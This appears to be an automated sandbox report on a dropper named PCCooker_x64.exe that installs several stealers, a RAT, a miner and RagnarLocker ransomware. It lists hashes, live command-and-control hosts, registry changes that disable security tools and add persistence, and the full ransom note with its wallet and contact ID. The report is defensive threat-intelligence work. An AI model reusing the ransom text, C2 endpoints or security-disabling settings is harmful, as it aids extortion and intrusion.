cryptbot | 0af783217a1279bf57eaea781dbe6d546ceb86cd02edc232e3892ff5f560d314

Analysis

max time kernel
150s
max time network
151s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
07-09-2024 17:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PCCooker_x64.exe
Size

22.4MB
MD5

317c5fe16b5314d1921930e300d9ea39
SHA1

65eb02c735bbbf1faf212662539fbf88a00a271f
SHA256

d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40
SHA512

31751379ad7f6c55d87e9a5c1f56e6211d515b7d9ae055af962ed6f9205f5abad302c2e47dd56325abff85327ec3b7f9a6cf76ed34b8cbe1da06549c622c7031
SSDEEP

49152:yIT4lj7Rl9HFoDi+3JK5CS2bV5IRtyrp63FDysl28Wvp/pUOmrscrdXuMIgqJ95+:yI6

Malware Config

Extracted

Family

marsstealer

Botnet

Default

kenesrakishev.net/wp-admin/admin-ajax.php

Extracted

Path

C:\Users\Public\Documents\RGNR_DF83F6B4.txt

Ransom Note

Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************

Emails

[email protected]

Wallets

1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4

URLs

https://tox.chat/download.html

Extracted

Family

xworm

Version

5.0

outside-sand.gl.at.ply.gg:31300

Mutex

VQd9MfbX4V71RInT

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Extracted

Family

cryptbot

fivexc5sr.top

analforeverlovyu.top

Attributes

url_path
/v1/upload.php

Signatures

CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot

Detect Xworm Payload 50 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\24.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\25.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\21.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\23.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\22.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\20.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\19.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\17.exe	family_xworm
behavioral1/memory/2200-828-0x0000000000940000-0x0000000000950000-memory.dmp	family_xworm
behavioral1/memory/2116-813-0x0000000000EA0000-0x0000000000EB0000-memory.dmp	family_xworm
behavioral1/memory/1724-804-0x0000000000E30000-0x0000000000E40000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\14.exe	family_xworm
behavioral1/memory/2932-853-0x0000000000040000-0x0000000000050000-memory.dmp	family_xworm
behavioral1/memory/1572-850-0x0000000000EB0000-0x0000000000EC0000-memory.dmp	family_xworm
behavioral1/memory/1692-798-0x0000000001210000-0x0000000001220000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\16.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\18.exe	family_xworm
behavioral1/memory/2440-840-0x0000000000CE0000-0x0000000000CF0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\15.exe	family_xworm
behavioral1/memory/2560-891-0x0000000000C10000-0x0000000000C20000-memory.dmp	family_xworm
behavioral1/memory/2568-894-0x0000000001240000-0x0000000001250000-memory.dmp	family_xworm
behavioral1/memory/2556-893-0x0000000001220000-0x0000000001230000-memory.dmp	family_xworm
behavioral1/memory/2792-892-0x0000000001230000-0x0000000001240000-memory.dmp	family_xworm
behavioral1/memory/968-890-0x00000000009E0000-0x00000000009F0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\12.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\13.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\10.exe	family_xworm
behavioral1/memory/1360-975-0x00000000012D0000-0x00000000012E0000-memory.dmp	family_xworm
behavioral1/memory/892-974-0x0000000000CA0000-0x0000000000CB0000-memory.dmp	family_xworm
behavioral1/memory/1244-973-0x0000000000D50000-0x0000000000D60000-memory.dmp	family_xworm
behavioral1/memory/2280-972-0x0000000001190000-0x00000000011A0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\9.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\5.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\7.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\11.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\8.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\6.exe	family_xworm
behavioral1/memory/2612-1016-0x0000000000290000-0x00000000002A0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\3.exe	family_xworm
behavioral1/memory/224-1043-0x0000000000DD0000-0x0000000000DE0000-memory.dmp	family_xworm
behavioral1/memory/1620-1013-0x0000000000020000-0x0000000000030000-memory.dmp	family_xworm
behavioral1/memory/1608-1012-0x0000000000270000-0x0000000000280000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\4.exe	family_xworm
behavioral1/memory/2632-1025-0x0000000000120000-0x0000000000130000-memory.dmp	family_xworm
behavioral1/memory/2824-990-0x0000000000D20000-0x0000000000D30000-memory.dmp	family_xworm
behavioral1/memory/3068-980-0x00000000012D0000-0x00000000012E0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\2.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\1.exe	family_xworm
behavioral1/memory/2096-1085-0x0000000000D70000-0x0000000000D80000-memory.dmp	family_xworm
behavioral1/memory/1800-1084-0x0000000000D20000-0x0000000000D30000-memory.dmp	family_xworm

Mars Stealer
An infostealer written in C++ based on other infostealers.
stealer marsstealer

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

sysmablsvr.exesysarddrvs.exesyschvard.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	syschvard.exe

Phorphiex payload 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\r.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\pi.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\1.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\2626614025.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
RagnarLocker
Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.
ransomware ragnarlocker

Windows security bypass 2 TTPs 24 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysarddrvs.exesysmablsvr.exesylsplvc.exesyschvard.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (7785) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

XMRig Miner payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/5488-20324-0x000000013FFC0000-0x0000000140AC3000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
5484	powershell.exe
5860	powershell.exe
3592	powershell.exe
3380	powershell.exe
5296	powershell.exe
3052	powershell.exe
3404	powershell.exe
4896	powershell.exe
6640	powershell.exe
4536	powershell.exe
288	powershell.exe
4792	powershell.exe
4584	powershell.exe
6480	powershell.exe
7188	powershell.exe
6268	powershell.exe
4568	powershell.exe
4100	powershell.exe
7272	powershell.exe
5196	powershell.exe
4344	powershell.exe
4328	powershell.exe
4556	powershell.exe
4440	powershell.exe
4600	powershell.exe
4892	powershell.exe
5068	powershell.exe
5808	powershell.exe
4132	powershell.exe
6620	powershell.exe
5052	powershell.exe
5868	powershell.exe
6584	powershell.exe
4564	powershell.exe
6700	powershell.exe
4248	powershell.exe
4332	powershell.exe
5316	powershell.exe
3552	powershell.exe
3596	powershell.exe
7296	powershell.exe
5596	powershell.exe
3588	powershell.exe
2512	powershell.exe
5632	powershell.exe
4560	powershell.exe
6504	powershell.exe
6660	powershell.exe
4472	powershell.exe
3384	powershell.exe
5424	powershell.exe
4364	powershell.exe
6416	powershell.exe
6500	powershell.exe
6780	powershell.exe
8104	powershell.exe
6872	powershell.exe
5916	powershell.exe
4280	powershell.exe
4576	powershell.exe
3436	powershell.exe
2052	powershell.exe
1844	powershell.exe
5280	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 28 IoCs

Processes:

17.exe10.exe5.exe4.exe6.exe22.exe24.exe16.exe13.exe25.exe7.exe3.exe20.exe21.exe14.exe1.exe23.exe2.exe19.exe15.exeasena.exe9.exe18.exe8.exe12.exeexplorer.exe11.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	17.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	6.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	22.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	24.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	16.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	13.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	25.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	7.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	20.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	21.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	14.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	23.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	2.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	19.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	15.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_DF83F6B4.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	9.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	18.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	12.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1352984d.exe	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	11.exe

Executes dropped EXE 51 IoCs

Processes:

4363463463464363463463463.exea76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exeasena.exeBomb.exeCryptoWall.exe25.exe24.exe23.exe21.exe22.exe20.exe19.exe17.exe15.exe18.exe16.exe14.exe13.exe11.exe12.exe10.exe9.exe8.exe7.exe5.exe6.exe4.exe3.exe2.exe1.exer.exesysmablsvr.exe5_6190317556063017550.exepi.exeInstaller.exett.exe1.exesylsplvc.exesysarddrvs.exetpeinf.exe2626614025.exesyschvard.exepp.exet1.exepeinf.exem.exe3546345.exepei.exe286758977.exexmrig.exe66b5d9d3adbaa_defaultr.exe

pid	process
2644	4363463463464363463463463.exe
2764	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
2664	asena.exe
2784	Bomb.exe
2332	CryptoWall.exe
1724	25.exe
1692	24.exe
2116	23.exe
2200	21.exe
2440	22.exe
1572	20.exe
2932	19.exe
2560	17.exe
968	15.exe
2792	18.exe
2568	16.exe
2556	14.exe
1360	13.exe
1244	11.exe
892	12.exe
2280	10.exe
3068	9.exe
2824	8.exe
1608	7.exe
1620	5.exe
2612	6.exe
2632	4.exe
224	3.exe
1800	2.exe
2096	1.exe
1900	r.exe
4260	sysmablsvr.exe
4404	5_6190317556063017550.exe
3396	pi.exe
4308	Installer.exe
5024	tt.exe
5676	1.exe
1600	sylsplvc.exe
3392	sysarddrvs.exe
7440	tpeinf.exe
7484	2626614025.exe
5976	syschvard.exe
3680	pp.exe
3584	t1.exe
5524	peinf.exe
7540	m.exe
6748	3546345.exe
8172	pei.exe
4064	286758977.exe
5488	xmrig.exe
5608	66b5d9d3adbaa_defaultr.exe

Loads dropped DLL 36 IoCs

Processes:

PCCooker_x64.exe4363463463464363463463463.exetpeinf.exepei.exe

pid	process
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2172	PCCooker_x64.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
7440	tpeinf.exe
7440	tpeinf.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
2644	4363463463464363463463463.exe
8172	pei.exe
8172	pei.exe
2644	4363463463464363463463463.exe
8036
2644	4363463463464363463463463.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 28 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

syschvard.exesysmablsvr.exesysarddrvs.exesylsplvc.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sylsplvc.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1.exe2626614025.exeexplorer.exer.exepi.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysarddrvs.exe"	1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\syschvard.exe"	2626614025.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\Run\1352984 = "C:\\1352984d\\1352984d.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*352984 = "C:\\1352984d\\1352984d.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\Run\1352984d = "C:\\Users\\Admin\\AppData\\Roaming\\1352984d.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*352984d = "C:\\Users\\Admin\\AppData\\Roaming\\1352984d.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	r.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sylsplvc.exe"	pi.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

asena.exe

description ioc process

File opened (read-only) \??\E: asena.exe
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-addr.es
6 myexternalip.com
21 ip-api.com
22 ip-api.com
23 ip-api.com
24 ip-api.com
